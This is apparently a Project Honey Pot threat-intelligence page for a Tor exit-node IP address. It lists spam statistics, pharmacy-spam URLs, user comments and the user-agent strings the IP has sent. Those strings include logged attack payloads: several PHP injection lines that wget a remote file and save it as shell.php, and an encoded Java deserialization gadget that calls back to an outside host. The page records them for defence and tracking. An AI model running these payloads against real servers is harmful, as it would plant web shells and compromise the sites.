IP Address Inspector

192.42.116.16

The Project Honey Pot system has detected behavior from the IP address consistent with that of a comment spammer and rule breaker. Below we've reported some other data associated with this IP. This interrelated data helps map spammers' networks and aids in law enforcement efforts. If you know something about this IP, please leave a comment.

Lookup IP In: Domain Tools | SpamHaus | Spamcop | SenderBase | Google Groups | Google

Geographic Location Netherlands Netherlands
Spider First Seen approximately 7 years, 5 weeks ago
Spider Last Seen within 1 week
Spider Sightings 70,064 visit(s)
User-Agents seen with 30 user-agent(s)

First Post On approximately 7 years, 5 weeks ago
Last Post On within 3 weeks
Form Posts 27,324 web post submission(s) sent from this IP

First Rule-Break On approximately 4 years, 7 months, 2 weeks ago
Last Rule-Break On within 2 years, 3 months, 1 week
Rule Breaks 6 web page navigation rule(s) broken by this IP

IPs In The Neighborhood
192.42.115.101 Netherlands
192.42.115.102 Netherlands
192.42.116.0 Netherlands
192.42.116.11 Netherlands
192.42.116.13 | C Netherlands
192.42.116.14 | C Netherlands
192.42.116.15 Netherlands
192.42.116.17 | C Netherlands
192.42.116.18 | HC Netherlands
192.42.116.19 | CR Netherlands
192.42.116.20 | CR Netherlands
192.42.116.22 Netherlands
192.42.116.23 | C Netherlands
192.42.116.24 Netherlands
192.42.116.25 Netherlands
192.42.116.26 Netherlands
192.42.116.27 | CR Netherlands
192.42.116.28 | C Netherlands
192.42.116.41 Netherlands
192.42.116.161 Netherlands
Sample Spam URLs & Keywords Posted From 192.42.116.16
Domain: www.heylonghorn.com
URL: http://www.heylonghorn.com/90045/luvox_buy_cr_online
Keywords: purchase luvox generic
Domain: www.sarinform.ru
URL: https://www.sarinform.ru/node/187159
Keywords: purchase luvox generic
Domain: www.heylonghorn.com
URL: http://www.heylonghorn.com/90041/zoloft_buy_uk
Keywords: purchase luvox generic
Domain: www.oafmatch.com
URL: http://www.oafmatch.com/forums/topic/242700
Keywords: purchase luvox generic
Domain: zooinformation.ru
URL: http://zooinformation.ru/moskva/veterinarnye-kliniki/crestor-cheap-generic
Keywords: purchase luvox generic
Domain: www.heylonghorn.com
URL: http://www.heylonghorn.com/90043/prednisone_buy_for_humans
Keywords: purchase luvox generic
Domain: w.arrobapark.com
URL: http://w.arrobapark.com/galeria/hurones/periactin-how-to-order-0
Keywords: purchase luvox generic
Domain: portland.radiotown.com
URL: http://portland.radiotown.com/dev/etmpdx/retin-buy-retin-online-cheap
Keywords: purchase luvox generic
Domain: xn--80adwttr.xn--p1ai
URL: http://xn--80adwttr.xn--p1ai/rezume/10030
Keywords: purchase luvox generic
Domain: www.vyberzubare.cz
URL: http://www.vyberzubare.cz/plasticka-chirurgie/zoloft-order-uk
Keywords: purchase luvox generic
Domain: www.vyberzubare.cz
URL: http://www.vyberzubare.cz/stomatologie/luvox-purchase-dosage
Keywords: purchase luvox generic
Domain: www.heylonghorn.com
URL: http://www.heylonghorn.com/90045/luvox_buy_cr_online
Keywords: purchase luvox generic
Domain: www.sarinform.ru
URL: https://www.sarinform.ru/node/187159
Keywords: best luvox dosage for ocd
Domain: www.heylonghorn.com
URL: http://www.heylonghorn.com/90041/zoloft_buy_uk
Keywords: purchase zoloft on-line
Domain: www.oafmatch.com
URL: http://www.oafmatch.com/forums/topic/242700
Keywords: purchase ceftin uses
192.42.116.16's User Agent Strings
AfD-Verbotsverfahren JETZT!
AOLBuild
AppleWebKit/534.30
AppleWebKit/537.36
AQBqYXZhLnV0aWwuSGFzaE1h8AECAQFvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuSG90U3dhcHBhYmxlVGFyZ2V0U291cmPlAQECb3JnLmFwYWNoZS54YmVhbi5uYW1pbmcuY29udGV4dC5Db250ZXh0VXRpbCRSZWFkT25seUJpbmRpbucBAQNqYXZheC5uYW1pbmcuUmVmZXJlbmPlAQEEamF2YS51dGlsLlZlY3Rv8gEAAUZyZWRk+QHJA2h0dHA6Ly9pcGI1cnI0eGYycGJueDE0OGY1dm12OHJmaWw5aHg2LmJ1cnBjb2xsYWJvcmF0b3IubmV0LyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAWZv7wABBW9yZy5hcGFjaGUueGJlYW4ubmFtaW5nLmNvbnRleHQuV3JpdGFibGVDb250ZXj0AQAAAAAAAAAAAAAAAAAAAAEACQEDBQEBAwEBAQEGY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmlu5wEDAYXrjb0SDQQAAQEL
BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/155
BlackBerry8320/4.5.0.188 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100
BlackBerry8900/5.0.0.411 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/132
BlackBerry8900/5.0.0.681 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/302
BlackBerry9330/5.0.0.913 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/104
BlackBerry9650/5.0.0.975 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105
BlackBerry9800/5.0.0.862 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/331 UNTRUSTED/1.0 3gpp-gba
curl/7.35.0
dcrawl/1.0
Go-http-client/1.1
Go-http-client/2.0
Googlebot/2.1 (+http://www.googlebot.com/bot.html)
InfoPath.1;
Java/1.8.0_101
Java/1.8.0_72-internal
Liferea/1.8.6 (Linux; es_ES.UTF-8; http://liferea.sf.net/)
like
<?php system('wget "101.99.5.63/doh.txt?h=huahinpropertyhouse.com&f=option" -O shell.php');?>
<?php system('wget "101.99.5.63/doh.txt?h=www.autobahnperformance.org&f=file" -O shell.php');?>
<?php system('wget "101.99.5.63/doh.txt?h=www.futurebrain.ee&f=f" -O shell.php');?>
<?php system('wget "101.99.5.63/doh.txt?h=www.lmg.ee&f=url" -O shell.php');?>
<?php system('wget "101.99.5.63/doh.txt?h=www.poekaubad.ee&f=file" -O shell.php');?>
<?php system('wget "101.99.5.63/doh.txt?h=www.specialisedfasteners.co.uk&f=file" -O shell.php');?>
<?php system('wget "101.99.5.63/doh.txt?h=zaibatsu.org&f=file" -O shell.php');?>
Honey Pot System commented...
WHITELIST NOTICE: This IP has been REMOVED from Project Honey Pot whitelists; bad activity was encountered.
March 29 2021 02:17 AM

M.Sameli commented...
xss-attack
November 02 2020 08:23 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been whitelisted. Future bad activity will result in automatic removal.
September 18 2020 08:50 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been marked to be included on Project Honey Pot whitelists. The whitelist is scheduled with a delay of 00:10:25. Documented reason for whitelist: Owner of a Dynamic IP Address
September 18 2020 08:30 AM

B.Sampsel commented...
Attempted known server hacks.
August 16 2020 07:05 PM

C.Jackson12 commented...
Trying to access nonexistent forum repeatedly
February 15 2020 08:45 AM

M.Sameli commented...
still spamming
September 24 2019 09:00 AM

C.Brockman commented...
This is a contact form spammer.
December 11 2018 10:06 PM

M.Hall7 commented...
WP long attempt as "admin"
September 03 2018 09:15 AM

Bot Busters commented...
WhoIS You Gonna Block: 192.42.116.16 (tor-exit.hartvoorinternetvrijheid.nl)
AS1101 192.42.116.0/22 RIPE Network Coordination Centre ripe.net

Another Banished TOR Referrer Spammer Bot: Spams for "Worm Infested cjb.net" - Disobeys robots.txt, Aggressive Probing

Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36

Bot Bustin' Makes You Feel Good!
September 02 2018 04:48 PM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been REMOVED from Project Honey Pot whitelists; bad activity was encountered.
August 26 2018 01:54 AM

M.Sameli commented...
form-spammer
July 25 2018 07:40 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been whitelisted. Future bad activity will result in automatic removal.
March 30 2018 04:40 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been marked to be included on Project Honey Pot whitelists. The whitelist is scheduled with a delay of 00:02:05. Documented reason for whitelist: Mistaken Listing
March 30 2018 04:37 AM

R.Jensen7 commented...
Another interesting approach is, to hide any login function from search engine bots.

Then, your login will not be shown on a cashed search page, however, you shouldn't login from such page anyways, only from the actual page.

Or, you can give false names to all form fields in that function, such that you know, that if these are used, it's a post from a cashed page.
September 28 2017 12:37 PM

R.Jensen7 commented...
If you block only on IP, you risk blocking legit users on that IP.

You need to block not only on IP, but on one factor more.
Suspicious is for example:
- old browser versions (older than 8 generations)
- not accepting GZIP
- At GET request, Content-Type is: application/x-www-form-urlencoded

So, you examine a request, and if it is suspicious, you look to see if the IP is on the black list and only then you block it.

This will give some false negatives, as it will let some bad bots slip through, but it will also let practically all legit requests through, from a black listed IP (proxy).

The idea of blocking on at least two factors is very precise, and if you have a good logging function, you can easily find more suspicious things to look for.
September 28 2017 12:28 PM

A.B78 commented...
This is a TOR exit node, because of your list being included in several IP-Filters i'm not able to access some Websites!
Please make it clear to people subscribing to your list that one should not simply block those adresses when they want to read websites.

I, being myself a part time "webmaster" fully understand the reason for blocking malicious users when your server isn't fast enough to do proper filtering. But some websites block just anyone on your list from even _viewing_ their page!

I would complain to the websites in question myself but i can't access them!!
August 22 2017 01:54 PM

J.Murphy17 commented...
referrer spammer. bad bot Feb 2016
February 15 2016 11:08 AM

B.Garden commented...
Referrer spammer.
September 14 2015 09:52 PM

M.Sameli commented...
sql-injection attempt
May 21 2015 11:32 PM

R.Dunkle commented...
referrer spam - tor exit node
inetnum: 192.42.116.0 - 192.42.116.255
netname: TOR-EXIT-HVIV
descr: https://www.hartvoorinternetvrijheid.nl/eng.html
descr: Amsterdam
country: NL
May 05 2015 06:16 AM

B.Garden commented...
Referrer Spammer
March 27 2015 01:17 PM

T.Jarvis commented...
Referrer spam: "http://specialdessous.com/"
Agent: "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36"
March 25 2015 04:30 PM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been REMOVED from Project Honey Pot whitelists; bad activity was encountered.
March 16 2015 06:30 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been whitelisted. Future bad activity will result in automatic removal.
March 16 2015 03:20 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been marked to be included on Project Honey Pot whitelists. The whitelist is scheduled with a delay of 00:00:25. Documented reason for whitelist: Owner of a Dynamic IP Address
March 16 2015 03:16 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been REMOVED from Project Honey Pot whitelists; bad activity was encountered.
February 07 2015 03:51 AM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been whitelisted. Future bad activity will result in automatic removal.
February 06 2015 12:30 PM

Honey Pot System commented...
WHITELIST NOTICE: This IP has been marked to be included on Project Honey Pot whitelists. The whitelist is scheduled with a delay of 00:00:05. Documented reason for whitelist: Mistaken Listing
February 06 2015 12:20 PM

Page generated on: April 13 2021 01:34:34 PM
marionkurtz639@vbwebmail.com marionkurtz639@gmail.com ofeliacompton475@yahoo.com randylin362@outlook.com
do not follow this link

Privacy Policy | Terms of Use | About Project Honey Pot | FAQ | Cloudflare Site Protection | Contact Us

Copyright © 2004–21, Unspam Technologies, Inc. All rights reserved.

Advertisements displayed on this page are not necessarily endorsed by Project Honey Pot

contact | wiki | email